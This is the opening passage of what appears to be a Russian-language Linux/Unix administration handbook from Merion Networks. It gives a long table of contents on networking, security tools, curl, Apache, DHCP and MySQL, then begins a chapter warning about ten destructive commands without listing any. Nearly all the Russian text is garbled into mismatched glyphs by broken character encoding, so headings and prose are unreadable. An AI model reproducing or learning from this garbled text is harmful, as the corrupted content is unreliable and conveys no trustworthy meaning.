
Ʉɨɳɫɱɰ Ʌɨɵɥɱɳɭɴ 

w:  wiki.merionet.ru  

e: contact@merionet.ru  
  

 

Ʉɨɳɫɱɰ Ʌɨɵɥɱɳɭɴ  wiki.merionet.ru   

 
 
ǸțȒȖȊȖȌșȚȊȖ ȈȌȔȐȕȐșȚȘȈȚȖȘȈ ȗȖ Linux/Unix 

Linux/Unix  
ɫɰɩɨɰɨɳɰɾɨ ɪɘɯɨɵɭɫ 
 

 

ǪȊȖȌȕȈȧ 

ǬȘțȋ, ȥȚȖȚ ȌȖȒțȔȍȕȚ ȕȈȗȐșȈȓȐ ȐȕȎȍȕȍȘȣ ȕȈȠȍȑ ȒȖȔȗȈȕȐȐ - ǴȍȘȐȖȕ ǵȍȚȊȖȘȒș. Ǵȣ 

ȓȦȉȐȔ ȚȍȝȕȖȓȖȋȐȐ Ȑ ȕȈȠȍ șȖȖȉȡȍșȚȊȖ. Ǫ ȥȚȖȑ PDF ȒȕȐȋȍ Țȣ ȕȈȑȌȍȠȤ Ɉtips and tricksɉ, 

șȖȊȍȚȣ, ȋȈȑȌȣ, ȗȘȧȔȣȍ ȐȕșȚȘțȒȞȐȐ, ȒȈȒ ȕȈșȚȘȖȐȚȤ Linux/Unix șȐșȚȍȔȣ. ǯȌȍșȤ ȍșȚȤ 

ȐȕȜȖȘȔȈȞȐȧ ȗȘȖ RHEL, CentOS, Ubuntu Ȑ FreeBSD.  

ǹȖȝȘȈȕȐ șȍȉȍ, ȖȚȗȘȈȊȤ ȒȖȓȓȍȋȈȔ.  
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ǪȊȖȌȕȈȧ 1 

10 ȒȖȔȈȕȌ Linux, ȒȖȚȖȘȣȍ țȉȤȦȚ ȊȈȠ șȍȘȊȍȘ 9 

ǵǭǶǩǸǨǺǰǴȃǭ 11 

ǶǷǨǹǵȃǭ, ǵǶ ǶǩǸǨǺǰǴȃǭ 14 

ǲȈȒ ȗȍȘȍȏȈȋȘțȏȐȚȤ șȍȚȤ Ȋ Ubuntu? 16 

ǷǭǸǭǯǨǫǸǻǯǲǨ ǹǭǺǰ Ǫ UBUNTU ǹ ǷǶǴǶȁȄȆ ǲǶǴǨǵǬǵǶǱ ǹǺǸǶǲǰ 16 

NETWORK MANAGER SERVICE 16 

SYSTEMD 17 

NMCLI 17 

IFUP & IFDOWN 18 

NMTUI 18 

ǷǭǸǭǯǨǷǻǹǲ ǹǭǺǰ Ǫ UBUNTU ǫǸǨǼǰǿǭǹǲǰ 27 

ǹȔȖȚȘȐȔ ȖȚȒȘȣȚȣȍ ȗȖȘȚȣ Linux 28 

ǹǷǰǹǶǲ Ǫǹǭǽ ǶǺǲǸȃǺȃǽ ǷǶǸǺǶǪ ǷǸǰ ǷǶǴǶȁǰ ǲǶǴǨǵǬȃ NETSTAT 28 

ǹǷǰǹǶǲ Ǫǹǭǽ ǶǺǲǸȃǺȃǽ ǷǶǸǺǶǪ ǷǸǰ ǷǶǴǶȁǰ ǲǶǴǨǵǬȃ SS 29 

TCP ǰ UDP ǷǶǸǺȃ Ǫ ǸǭǮǰǴǭ ǸǭǨǳȄǵǶǫǶ ǪǸǭǴǭǵǰ 30 

ǷȍȘȍȑȚȐ ȕȈ Linux? ǷȖȗȘȖȉțȑȚȍ ȍȋȖ șȕȈȟȈȓȈ! 31 

RPM - țșȚȈȕȖȊȒȈ Ȑ ȐșȗȖȓȤȏȖȊȈȕȐȍ Ȋ Linux 48 

ǻǹǺǨǵǶǪǲǨ 49 

ǻǬǨǳǭǵǰǭ 56 

ǶǩǵǶǪǳǭǵǰǭ 56 

ǯǨǷǸǶǹ 57 

ǷǸǶǪǭǸǲǨ 59 

15 ȓțȟȠȐȝ ȌȐșȚȘȐȉțȚȐȊȖȊ Linux, ȖȘȐȍȕȚȐȘȖȊȈȕȕȣȝ ȕȈ ȈȕȖȕȐȔȕȖșȚȤ Ȑ ȉȍȏȖȗȈșȕȖșȚȤ 62 

QUBES OS 63 

TAILS: THE AMNESIC INCOGNITO LIVE SYSTEM 64 

BLACKARCH LINUX 65 

KALI LINUX 66 

JONDO/TOR-SECURE-LIVE-DVD 67 

WHONIX 68 
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DISCREETE LINUX 69 

IPREDIAOS 71 

PARROT SECURITY OS 72 

SUBGRAPH OS 73 

HEADS OS 74 

ALPINE LINUX 75 

PUREOS 76 

LINUX KODACHI 77 

TENS 78 

ǻșȚȈȕȖȊȒȈ Ȑ ȕȈșȚȘȖȑȒȈ ClamAV Linux 79 

ǻǹǺǨǵǶǪǲǨ CLAMAV 80 

ǵǨǹǺǸǶǱǲǨ ǨǵǺǰǪǰǸǻǹǨ CLAMAV 80 

ǻșȚȈȕȖȊȒȈ Ȑ ȐșȗȖȓȤȏȖȊȈȕȐȍ fping Ȋ Linux 90 

ǿǺǶ ǺǨǲǶǭ FPϥNG? 90 

ǻǹǺǨǵǶǪǲǨ 90 

Ƿǰǵǫ ǴǵǶǮǭǹǺǪǨ ǨǬǸǭǹǶǪ 91 

Ƿǰǵǫ ǬǰǨǷǨǯǶǵǨ ǨǬǸǭǹǶǪ 92 

Ƿǰǵǫ ǾǭǳǶǱ ǷǶǬǹǭǺǰ 94 

Ƿǰǵǫ ǹ ǨǬǸǭǹǨǴǰ ǰǯ ǼǨǱǳǨ 94 

5 ȐȕșȚȘțȔȍȕȚȖȊ Ȍȓȧ șȒȈȕȐȘȖȊȈȕȐȧ Linux-șȍȘȊȍȘȈ 94 

LYNIS ɀ SECURITY AUDITING AND ROOTKIT SCANNER 95 

CHKROOTKIT ɀ A LINUX ROOTKIT SCANNERS 97 

RKHUNTER ɀ A LINUX ROOTKIT SCANNERS 99 

CLAMAV ɀ ANTIVIRUS SOFTWARE TOOLKIT 100 

LMD ɀ LINUX MALWARE DETECT 101 

ǸȍȒțȘșȐȊȕȖ ȕȈȑȚȐ șȓȖȊȖ Ȋ ȜȈȑȓȈȝ Ȑ ȗȈȗȒȈȝ Linux 103 

ǵǨǱǺǰ ǼǸǨǯǻ Ǫ ǼǨǱǳǨǽ ǸǭǲǻǸǹǰǪǵǶ ǿǭǸǭǯ ǲǶǵǹǶǳȄ 103 

ǷǶǰǹǲ ǹǳǶǪǨ ǿǭǸǭǯ MϥDNϥGHT COMMANDER 104 

ǨȊȚȖȔȈȚȐȟȍșȒȈȧ țșȚȈȕȖȊȒȈ ȐșȗȘȈȊȓȍȕȐȑ ȉȍȏȖȗȈșȕȖșȚȐ Ȑ ȖȉȕȖȊȓȍȕȐȑ Ȋ CentOS Ȑ 

RHEL 106 

ǵǨǹǺǸǶǱǲǨ ǨǪǺǶǴǨǺǰǿǭǹǲǰǽ ǶǩǵǶǪǳǭǵǰǱ ǩǭǯǶǷǨǹǵǶǹǺǰ Ǫ ǹǰǹǺǭǴǨǽ 

CENTOS ǰ RHEL 107 
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ǪǲǳȆǿǭǵǰǭ ǨǪǺǶǴǨǺǰǿǭǹǲǶǫǶ ǶǩǵǶǪǳǭǵǰȇ ǩǭǯǶǷǨǹǵǶǹǺǰ ǵǨ 

CENTOS ǰ RHEL 7 107 

ǪǲǳȆǿǭǵǰǭ ǨǪǺǶǴǨǺǰǿǭǹǲǶǫǶ ǶǩǵǶǪǳǭǵǰȇ ǩǭǯǶǷǨǹǵǶǹǺǰ ǵǨ 

CENTOS ǰ RHEL 6 108 

ǨȊȚȖȔȈȚȐȟȍșȒȈȧ țșȚȈȕȖȊȒȈ ȖȉȕȖȊȓȍȕȐȑ ȉȍȏȖȗȈșȕȖșȚȐ Ȋ Debian Ȑ Ubuntu 110 

ǵǨǹǺǸǶǱǲǨ ǨǪǺǶǴǨǺǰǿǭǹǲǰǽ ǶǩǵǶǪǳǭǵǰǱ ǩǭǯǶǷǨǹǵǶǹǺǰ Ǫ DEBϥAN ǰ 

UBUNTU 111 

15 ȗȘȐȔȍȘȖȊ CURL Ȋ Linux 113 

ǷǶǹǴǶǺǸǭǺȄ ǪǭǸǹǰȆ CURL 113 

ǹǲǨǿǨǺȄ ǼǨǱǳ 114 

ǪǶǯǶǩǵǶǪǰǺȄ ǷǸǭǸǪǨǵǵǻȆ ǯǨǫǸǻǯǲǻ 114 

ǹǲǨǿǨǺȄ ǵǭǹǲǶǳȄǲǶ ǼǨǱǳǶǪ 114 

ǹǲǨǿǨǺȄ URL ǰǯ ǼǨǱǳǨ 115 

ǰǹǷǶǳȄǯǶǪǨǺȄ ǷǸǶǲǹǰ ǹ ǨǻǺǭǵǺǰǼǰǲǨǾǰǭǱ ǰǳǰ ǩǭǯ ǵǭǭ 115 

ǯǨǫǶǳǶǪǲǰ ǯǨǷǸǶǹǨ HTTP 115 

ǹǬǭǳǨǺȄ ǯǨǷǸǶǹ POST ǹ ǷǨǸǨǴǭǺǸǨǴǰ 116 

ǯǨǫǸǻǯǲǨ ǼǨǱǳǶǪ ǹ FTP-ǹǭǸǪǭǸǨ ǹ ǨǻǺǭǵǺǰǼǰǲǨǾǰǭǱ ǰǳǰ ǩǭǯ 

ǵǭǭ 116 

ǯǨǫǸǻǯǰǺȄ ǼǨǱǳȃ ǵǨ FTP-ǹǭǸǪǭǸ ǹ ǨǻǺǭǵǺǰǼǰǲǨǾǰǭǱ ǰǳǰ 

ǩǭǯ 116 

ǻǲǨǯǨǵǰǭ ǷǶǳȄǯǶǪǨǺǭǳȄǹǲǶǫǶ ǨǫǭǵǺǨ 117 

ǽǸǨǵǭǵǰǭ COOKϥES 117 

ǶǺǷǸǨǪǰǺȄ ǼǨǱǳȃ COOKϥE ǹǨǱǺǨ 117 

ǰǯǴǭǵǰǺȄ ǸǨǯǸǭȀǭǵǰǭ ǰǴǭǵǰ 118 

ǶǫǸǨǵǰǿǰǺȄ ǹǲǶǸǶǹǺȄ ǯǨǫǸǻǯǲǰ 118 

ǺȖȗ - 5 FTP ȒȓȐȍȕȚȖȊ Ȍȓȧ Linux 118 

FTP 119 

LFTP 119 

NCFTP 120 

CBFTP 121 

YAFC 121 

ǷȖȓȍȏȕȣȍ ȒȖȔȈȕȌȣ Ȍȓȧ țȗȘȈȊȓȍȕȐȧ Apache Ȋ Linux 122 

ǻǹǺǨǵǶǪǲǨ APACHE SERVER 122 

ǷǸǶǪǭǸǲǨ ǪǭǸǹǰǰ APACHE 122 
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ǷǸǶǪǭǸǲǨ ǵǨ ǶȀǰǩǲǰ ǹǰǵǺǨǲǹǰǹǨ ǲǶǵǼǰǫǻǸǨǾǰǰ APACHE 125 

ǯǨǷǻǹǲ ǹǭǸǪǰǹǨ APACHE 126 

ǪǲǳȆǿǭǵǰǭ ǹǳǻǮǩȃ APACHE 126 

ǷǭǸǭǯǨǷǻǹǲ ǹǳǻǮǩȃ APACHE 127 

ǷǸǶǹǴǶǺǸ ǹǶǹǺǶȇǵǰȇ ǹǭǸǪǰǹǨ APACHE 128 

ǷǭǸǭǯǨǫǸǻǯǲǨ ǹǭǸǪǰǹǨ APACHE 128 

ǶǹǺǨǵǶǪǲǨ ǹǳǻǮǩȃ APACHE 129 

ǷǶǲǨǯǨǺȄ ǹǷǸǨǪǲǻ APACHE COMMAND 130 

ǸțȒȖȊȖȌșȚȊȖ ȈȌȔȐȕȐșȚȘȈȚȖȘȈ Linux ȗȖ țșȚȘȈȕȍȕȐȦ ȕȍȗȖȓȈȌȖȒ Ȑ ȖȚȓȈȌȒȍ 132 

ǰǵǹǺǸǻǴǭǵǺȃ ǵǨǹǺǸǶǱǲǰ, ǷǶǰǹǲǨ, ǻǹǺǸǨǵǭǵǰȇ ǵǭǷǶǳǨǬǶǲ ǰ ǶǺǳǨǬǲǰ 

ǹǭǺǰ 132 

ǰǵǹǺǸǻǴǭǵǺȃ ǹǭǺǭǪǶǫǶ ǹǲǨǵǰǸǶǪǨǵǰȇ ǰ ǨǵǨǳǰǯǨ 

ǷǸǶǰǯǪǶǬǰǺǭǳȄǵǶǹǺǰ 147 

ǻǺǰǳǰǺȃ DNS LOOKUP 158 

ǨǵǨǳǰǯǨǺǶǸȃ ǹǭǺǭǪȃǽ ǷǨǲǭǺǶǪ LϥNUX 164 

ǰǵǹǺǸǻǴǭǵǺȃ ǻǷǸǨǪǳǭǵǰȇ ǼǨǭǸǪǶǳǶǴ LϥNUX 166 

ǵțȎȕȖ ȏȕȈȚȤ: țȚȐȓȐȚȈ lsof Ȋ Linux 168 

ǲǨǲ ǻǯǵǨǺȄ, ǲǺǶ ǰǹǷǶǳȄǯǻǭǺ ǼǨǱǳ Ǫ LϥNUX? 168 

ǻșȚȈȕȖȊȒȈ VirtualBox 6.0 ȕȈ Linux 173 

ǿǺǶ ǵǶǪǶǫǶ Ǫ VϥRTUALBOX 6.0 174 

ǻǹǺǨǵǶǪǲǨ VϥRTUALBOX 6.0 Ǫ RED HAT ENTERPRϥSE LϥNUX, CENTOS ǰ 

FEDORA 175 

ǻǹǺǨǵǶǪǲǨ VϥRTUALBOX 6.0 Ǫ DEBϥAN, UBUNTU ǰ LϥNUX MINT 179 

ǯǨǷǻǹǲ VϥRTUALBOX 6.0 180 

ǻǹǺǨǵǶǪǲǨ ǷǨǲǭǺǨ ǸǨǹȀǰǸǭǵǰǱ VϥRTUALBOX 181 

ǶǩǵǶǪǳǭǵǰǭ VϥRTUALBOX 182 

ǻǬǨǳǭǵǰǭ VϥRTUALBOX 183 

ǳțȟȠȐȍ HEX ɀ ȘȍȌȈȒȚȖȘȣ Ȍȓȧ Linux 184 

ǿǺǶ ǺǨǲǶǭ HEX-ǸǭǬǨǲǺǶǸ 184 

ǲǺǶ ǰǹǷǶǳȄǯǻǭǺ HEX-ǸǭǬǨǲǺǶǸȃ 184 

XXD HEX EDITOR 185 

HEXEDIT HEX EDITOR 186 

HEXYL HEX EDITOR 187 
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GHEX - GNOME HEX EDITOR 188 

BLESS HEX EDITOR 189 

OKTETA EDITOR 190 

WXHEXEDITOR 191 

HEXCURSE - CONX HEX EDITOR 192 

HEXER BINARY EDITOR 193 

EMACS 194 

ǯǨǲǳȆǿǭǵǰǭ 195 

Open ɀ source OS: 3 ȖȚȓȐȟȐȧ Linux ȖȚ OpenBSD 195 

ǶǹǵǶǪȃ 195 

ȇǬǸǶ ǷǸǶǺǰǪ ǷǶǳǵǶǾǭǵǵǶǱ Ƕǹ 196 

ǳǰǾǭǵǯǰǸǶǪǨǵǰǭ 197 

ǲǨǲǰǭ ǩȃǪǨȆǺ ǩǯǬȃ 198 

ǯǨǿǭǴ ǪȃǩǰǸǨǺȄ BSD ǪǴǭǹǺǶ LϥNUX? 199 

8 ȒȘțȚȣȝ ȜȈȑȓȖȊȣȝ ȔȍȕȍȌȎȍȘȖȊ Linux: ȖȉȏȖȘ Ȑ țșȚȈȕȖȊȒȈ 199 

GNU MIDNIGHT COMMANDER 200 

RANGER CONSOLE FILE MANAGER 201 

CFILES FAST TERMINAL FILE MANAGER 202 

VIFM CONSOLE FILE MANAGER 204 

NNN TERMINAL FILE BROWSER 205 

LFM LAST FILE MANAGER 206 

LF ɀ LIST FILES 208 

WCM COMMANDER 209 

ǯǨǲǳȆǿǭǵǰǭ 210 

ǵȈșȚȘȖȑȒȈ DHCP șȍȘȊȍȘȈ ȕȈ CentOS ȐȓȐ Ubuntu 211 

ǻǹǺǨǵǶǪǲǨ DHCP-ǹǭǸǪǭǸǨ Ǫ CENTOS ǰ UBUNTU 211 

ǵǨǹǺǸǶǱǲǨ DHCP-ǹǭǸǪǭǸǨ Ǫ CENTOS ǰ UBUNTU 211 

ǵǨǹǺǸǶǱǲǨ ǲǳǰǭǵǺǶǪ DHCP 216 

ǵǨǹǺǸǶǱǲǨ ǲǳǰǭǵǺǨ DHCP ǵǨ CENTOS 216 

ǵǨǹǺǸǶǱǲǨ DHCP-ǲǳǰǭǵǺǨ Ǫ UBUNTU 217 

ǨȊȚȖȔȈȚȐȟȍșȒȈȧ șȔȍȕȈ ȗȈȘȖȓȍȑ ȗȖȓȤȏȖȊȈȚȍȓȍȑ Linux 218 

ǹǸǶǲ ǬǭǱǹǺǪǰȇ ǷǨǸǶǳǭǱ 219 

ǯǨǹǺǨǪǳȇǭǴ ǷǶǳȄǯǶǪǨǺǭǳȇ ǴǭǵȇǺȄ ǷǨǸǶǳȄ ǲǨǮǬȃǭ 90 ǬǵǭǱ 219 
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ǹǸǶǲ ǬǭǱǹǺǪǰȇ ǻǿǭǺǵǶǱ ǯǨǷǰǹǰ 220 

ǹǲǶǳȄǲǶ ǪǸǭǴǭǵǰ ǵǨ ǹǴǭǵǻ ǷǨǸǶǳȇ? 221 

ǷǸǭǬǻǷǸǭǮǬǭǵǰȇ Ǭǳȇ ǷǶǳȄǯǶǪǨǺǭǳǭǱ 221 

ǯǨȁǰȁǨǭǴǹȇ ǶǺ ǿǨǹǺǶǱ ǹǴǭǵȃ ǷǨǸǶǳǭǱ 221 

ǷȘȈȊȈ ȌȖșȚțȗȈ Ȓ MySQL ȟȍȘȍȏ Linux 222 

ǳǶǫǰǵǰǴǹȇ 222 

Ǩ ǺǭǷǭǸȄ ǷǸǨǪǨ 223 

ǷǸǰǴǭǸ ɝ1 224 

ǷǸǰǴǭǸ ɝ2 224 

ǲǨǲ ǷǶǹǴǶǺǸǭǺȄ ǷǸǨǪǨ ǶǷǸǭǬǭǳǭǵǵǶǫǶ ǷǶǳȄǯǶǪǨǺǭǳȇ Ǫ 

MYSQL 225 

ǷȖȌȕȐȔȈȍȔ NFS șȍȘȊȍȘ ȕȈ Ubuntu 225 

ǺǭǶǸǰȇ 225 

ǵǨǹǺǸǶǱǲǨ 227 

13 ȒȖȔȈȕȌ Ȍȓȧ ȗȘȖȊȍȘȒȐ ȎȍȓȍȏȈ ȕȈ șȍȘȊȍȘȍ Linux 230 

LSCPU 231 

LSHW ɀ ǹǷǰǹǶǲ Ǯǭǳǭǯǵȃǽ ǲǶǴǷǶǵǭǵǺǶǪ 232 

LSPCI ɀ ǹǷǰǹǶǲ PCϥ 234 

LSSCSI ɀ ǹǷǰǹǶǲ SCSϥ ǻǹǺǸǶǱǹǺǪ 235 

LSUSB ɀ ǹǷǰǹǶǲ USB ɀ Ȁǰǵ ǰ ǷǶǬǸǶǩǵǨȇ ǰǵǼǶǸǴǨǾǰȇ Ƕǩ 

ǻǹǺǸǶǱǹǺǪǨǽ 235 

LSBLK - ǻǹǺǸǶǱǹǺǪǨ ǰ ǷǨǸǺǰǾǰǰ Ǭǳȇ ǽǸǨǵǭǵǰȇ 235 

DF - ǰǵǼǶǸǴǨǾǰȇ Ƕ ǷǸǶǹǺǸǨǵǹǺǪǭ ǼǨǱǳǶǪǶǱ ǹǰǹǺǭǴȃ 236 

PYDF - DF ǵǨ ȇǯȃǲǭ PYTHON 237 

FDISK 237 

MOUNT 239 

FREE 240 

DMIDECODE 240 

ǼǨǱǳȃ /PROC 241 

ȀȍșȚȤ ȗȖȓȍȏȕȣȝ ȚȘȦȒȖȊ Ȋ ȘȈȉȖȚȍ ș Linux 243 

ǺǨǩǻǳȇǾǰȇ 243 

ǷǨǱǷǰǸǶǪǨǵǰǭ 244 

ǴǨǹǲǨ 244 
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ǪȃǪǶǬ ǲǶǴǨǵǬȃ Ǫ ǼǨǱǳ 245 

ǩȃǹǺǸǨȇ ǹǴǭǵǨ ǬǰǸǭǲǺǶǸǰǰ 245 

ǼǶǵǶǪȃǭ ǷǸǶǾǭǹǹȃ ǰ ǯǨǷǻǹǲ ǷǶ ǻǹǳǶǪǰȆ 245 

ǴȖȕȐȚȖȘȐȕȋ șȍȘȊȍȘȈ ș ȗȖȔȖȡȤȦ Linux-dash 246 

ǻǹǺǨǵǶǪǲǨ 246 

ǯǨǷǻǹǲ 247 

ǭȡȨ ȕȍșȒȖȓȤȒȖ ȗȖȓȍȏȕȣȝ ȒȖȔȈȕȌ Ȍȓȧ CentOS 249 

ǰǹǺǶǸǰȇ ǪǪǭǬǚǵǵȃǽ ǲǶǴǨǵǬ 250 

ǼǨǱǳȃ Ǫ ǹǰǹǺǭǴǭ, ǯǨǵǰǴǨȆȁǰǭ ǩǶǳȄȀǭ ǪǹǭǫǶ ǴǭǹǺǨ ǰ ǼǨǱǳǶǪǨȇ 

ǰǵǼǶǸǴǨǾǰȇ 251 

ǯǨǩǨǪǵǨȇ ǲǶǴǨǵǬǨ Ǭǳȇ ǵǶǪǰǿǲǶǪ, ǷǶǯǪǶǳȇȆȁǨȇ ǷǶǹǺǭǷǭǵǵǶ 

ǷǶǹǺǰǫǨǺȄ LϥNUX 253 

ǵȈșȚȘȖȑȒȈ SSH Ȑ MOTD ȉȈȕȕȍȘȈ Ȋ CentOS 254 

ǵǨǹǺǸǶǱǲǨ 254 

ǲȈȒ ȘȈșȠȈȘȐȚȤ ȗȈȗȒț Ȋ CentOS ș ȗȖȔȖȡȤȦ Samba 257 

ǻǹǺǨǵǶǪǲǨ 257 

ǲǶǵǼǰǫǻǸǨǾǰȇ 259 

ǻșȚȈȕȖȊȒȈ MySQL Server ȕȈ CentOS 7 261 

ǷǸǶǾǭǹǹ ǻǹǺǨǵǶǪǲǰ 261 

ǵǨǹǺǸǶǱǲǨ ǩǭǯǶǷǨǹǵǶǹǺǰ 264 

ǹǶǯǬǨǵǰǭ ǺǭǹǺǶǪǶǱ ǩǨǯȃ ǬǨǵǵȃǽ ǰ ǴǨǵǰǷǻǳȇǾǰǰ ǹ 

ǷǶǳȄǯǶǪǨǺǭǳȇǴǰ 265 

ǻșȚȈȕȖȊȒȈ CentOS 7 Minimal 266 

ǷǸǶǾǭǹǹ ǻǹǺǨǵǶǪǲǰ 267 

ǵǨǹǺǸǶǱǲǨ ǹǭǺǭǪȃǽ ǰǵǺǭǸǼǭǱǹǶǪ ǹ ǷǶǴǶȁȄȆ NMTUϥ 268 

ǻǹǺǨǵǶǪǲǨ MATE ǰ ǵǭǶǩǽǶǬǰǴȃǽ ǷǨǲǭǺǶǪ 271 

ǻșȚȈȕȖȊȒȈ Gnome ȕȈ CentOS 6 273 

ǷǸǶǾǭǹǹ ǻǹǺǨǵǶǪǲǰ 273 

ǯǨǷǻǹǲ ǰ ǷǭǸǭǲǳȆǿǭǵǰǭ ǴǭǮǬǻ ǸǭǮǰǴǨǴǰ 275 

ǲȈȒ ȊȖșșȚȈȕȖȊȐȚȤ ȗȈȘȖȓȤ ȖȚ root Ȋ CentOS 7 277 

ǷǸǶǾǭǹǹ ǪǶǹǹǺǨǵǶǪǳǭǵǰȇ 277 

Linux: ȒȖȔȈȕȌȣ Ȍȓȧ ȘȈȉȖȚȣ ș ȜȈȑȓȈȔȐ Ȑ ȌȐȘȍȒȚȖȘȐȧȔȐ 280 
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ǶǹǵǶǪȃ 280 

ǲǶǴǨǵǬȃ Ǭǳȇ ǸǨǩǶǺȃ ǹ ǼǨǱǳǨǴǰ ǰ ǬǰǸǭǲǺǶǸǰȇǴǰ 281 

ǸǨǩǶǺǨ ǹ ǨǸǽǰǪǨǴǰ 283 

ǸǨǩǶǺǨ ǹ .RPM ǷǨǲǭǺǨǴǰ 284 

ǷǸǶ ǮǚǹǺǲǰǭ Ǭǰǹǲǰ 284 

ǲǶǴǨǵǬȃ 286 

ǲȈȒ țșȚȈȕȖȊȐȚȤ ȗȘȈȊȈ ȌȖșȚțȗȈ Ȋ Linux 288 

ǪǪǭǬǭǵǰǭ 288 

ǰǯǴǭǵǭǵǰǭ ǻǸǶǪǵȇ ǬǶǹǺǻǷǨ 289 

ǰǹǷǶǳȄǯǶǪǨǵǰǭ UMASK ɀ ǵǨǹǺǸǶǱǲǨ ǻǸǶǪǵȇ ǬǶǹǺǻǷǨ ǷǶ 

ǻǴǶǳǿǨǵǰȆ 290 

ǵǭǹǲǶǳȄǲǶ ǷǶǳǭǯǵȃǽ ǷǸǰǴǭǸǶǪ ǰǹǷǶǳȄǯǶǪǨǵǰȇ CHMOD 291 

ǲȈȒ ȗȖȓȤȏȖȊȈȚȤșȧ vim Ȋ Linux 292 

ǺǭǲǹǺǶǪȃǱ ǸǭǬǨǲǺǶǸ VϥM 292 

ǲǶǴǨǵǬǵȃǱ ǸǭǮǰǴ ǰ ǭǫǶ ǪǶǯǴǶǮǵǶǹǺǰ 293 

ǹǶǽǸǨǵǭǵǰǭ ǰ ǪȃǽǶǬ 295 

ǶǼǰǾǰǨǳȄǵȃǱ ǹǨǱǺ ǰ ǷǸǶǾǭǹǹ ǻǹǺǨǵǶǪǲǰ 296 

ǵǨǹǺǸǶǱǲǨ OPENVPN ACCESS SERVER ǹ ǷǶǴǶȁȄȆ Ǫǭǩ-

ǰǵǺǭǸǼǭǱǹǨ 298 

ǯǨǲǳȆǿǭǵǰǭ 303 

ǻșȚȈȕȖȊȒȈ CentOS 7 Ȋ Hyper-V 304 

ǷǶȀǨǫǶǪǶǭ ǪǰǬǭǶ 304 

ǷǶǬǫǶǺǶǪǲǨ 304 

ǻǹǺǨǵǶǪǲǨ 305 
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10 ȒȖȔȈȕȌ Linux, ȒȖȚȖȘȣȍ țȉȤȦȚ ȊȈȠ șȍȘȊȍȘ 

ɽcʣʠ ʪʳ ʪʦʣʴʢʦ ʥʘʯʘʣ ʦʩʚʘʠʚʘʪʴ Linux, ʪʦ ʧʨʦʩʪʦ ʦʙʷʟʘʥ ʟʥʘʪʴ ʪʦ, ʯʪʦ ʷ ʩʝʡʯʘʩ 

ʪʝʙʝ ʨʘʩʩʢʘʞʫ. 

ɺ Linux ʝʩʪʴ ʮʝʣʳʭ 10 ʢʦʤʘʥʜ, ʢʦʪʦʨʳʝ ʪʳ ʥʠʢʦʛʜʘ ʥʝ ʜʦʣʞʝʥ ʚʚʦʜʠʪʴ ʚ 

ʢʦʤʘʥʜʥʫʶ ʩʪʨʦʢʫ ʠʣʠ ʩʦʚʝʪʦʚʘʪʴ ʢʦʤʫ-ʥʠʙʫʜʴ ʵʪʦ ʩʜʝʣʘʪʴ. 

ʕʪʦ ʢʘʢ ʥʝʧʨʦʩʪʠʪʝʣʴʥʳʝ ʟʘʢʣʷʪʠʷ, ʢʦʪʦʨʳʝ ʥʝ ʜʦʣʞʝʥ ʧʨʦʠʟʥʦʩʠʪʴ ʥʠ ʦʜʠʥ 

ʚʦʣʰʝʙʥʠʢ. 

ʀʭ ʟʘʧʫʩʢ ʤʦʞʝʪ ʧʨʠʚʝʩʪʠ ʢ ʩʘʤʳʤ ʥʝʛʘʪʠʚʥʳʤ ʧʦʩʣʝʜʩʪʚʠʷʤ - ʙʝʟʚʦʟʚʨʘʪʥʦʤʫ 

ʫʜʘʣʝʥʠʶ ʚʩʝʡ ʦʧʝʨʘʮʠʦʥʥʦʡ ʩʠʩʪʝʤʳ ʠʣʠ ʚʘʞʥʳʭ ʬʘʡʣʦʚ, ʟʘʮʠʢʣʠʚʘʥʠʶ 

ʧʨʦʮʝʩʩʦʚ ʠ ʟʘʚʠʩʘʥʠʶ ʩʠʩʪʝʤʳ, ʟʘʨʘʞʝʥʠʶ ʚʨʝʜʦʥʦʩʥʳʤ ʢʦʜʦʤ ʠ ʜʨʫʛʠʤ 

ʥʝʧʨʠʷʪʥʦʩʪʷʤ. 

ɺʥʠʤʘʥʠʝ! ʕʪʠ ʢʦʤʘʥʜʳ ʜʝʡʩʪʚʠʪʝʣʴʥʦ ʤʦʛʫʪ ʥʘʚʨʝʜʠʪʴ ʪʚʦʝʡ ʩʠʩʪʝʤʝ. 

ʂʦʤʧʘʥʠʷ ʄʝʨʠʦʥ ʅʝʪʚʦʨʢʩ ʩʥʠʤʘʝʪ ʩ ʩʝʙʷ ʚʩʷʢʫʶ ʦʪʚʝʪʩʪʚʝʥʥʦʩʪʴ ʟʘ 

ʧʦʩʣʝʜʩʪʚʠʷ, ʠʩʧʦʣʥʝʥʠʷ ʯʠʪʘʪʝʣʷʤʠ ʜʘʥʥʳʭ ʢʦʤʘʥʜ. ʄʘʪʝʨʠʘʣ ʥʦʩʠʪ 

ʠʩʢʣʶʯʠʪʝʣʴʥʦ ʦʟʥʘʢʦʤʠʪʝʣʴʥʳʡ ʭʘʨʘʢʪʝʨ. 

ɼʝʣʦ ʚ ʪʦʤ, ʯʪʦ Linux ʧʨʝʜʧʦʣʘʛʘʝʪ, ʯʪʦ ʪʳ ʟʥʘʝʰʴ, ʯʪʦ ʜʝʣʘʝʰʴ ʠ, ʢʘʢ ʧʨʘʚʠʣʦ, 

ʥʝ ʩʧʨʘʰʠʚʘʝʪ ʧʦʜʪʚʝʨʞʜʝʥʠʷ ʧʨʝʞʜʝ ʯʝʤ ʠʩʧʦʣʥʠʪʴ ʢʦʤʘʥʜʫ, ʜʘʞʝ ʝʩʣʠ ʦʥʘ 

ʤʦʞʝʪ ʥʘʚʨʝʜʠʪʴ. 

ɺ ʀʥʪʝʨʥʝʪʝ ʯʘʩʪʦ ʧʦʜʰʫʯʠʚʘʶʪ ʥʘʜ ʥʦʚʠʯʢʘʤʠ, ʢʦʪʦʨʳʝ ʧʨʦʩʷʪ ʧʦʤʦʱʠ ʚ 

ʥʘʩʪʨʦʡʢʝ Linux, ʧʨʝʜʣʘʛʘʷ ʠʤ ʚʚʝʩʪʠ ʵʪʠ ʢʦʤʘʥʜʳ, ʘ ʟʘʪʝʤ "ʣʦʚʷʪ ʣʫʣʟʳ" ʦʪ 

https://wiki.merionet.ru/


 
 

 

11                        ͵ΙΥΜΣΡ ͺΙΧΖΣΥΞΦ   wiki.merionet.ru   
 

ʨʝʘʢʮʠʠ ʯʝʣʦʚʝʢʘ, ʢʦʪʦʨʳʡ ʩʦʦʙʱʘʝʪ, ʯʪʦ ʚʩʝ ʩʣʦʤʘʣʦʩʴ ʦʢʦʥʯʘʪʝʣʴʥʦ. ʏʪʦʙʳ ʥʝ 

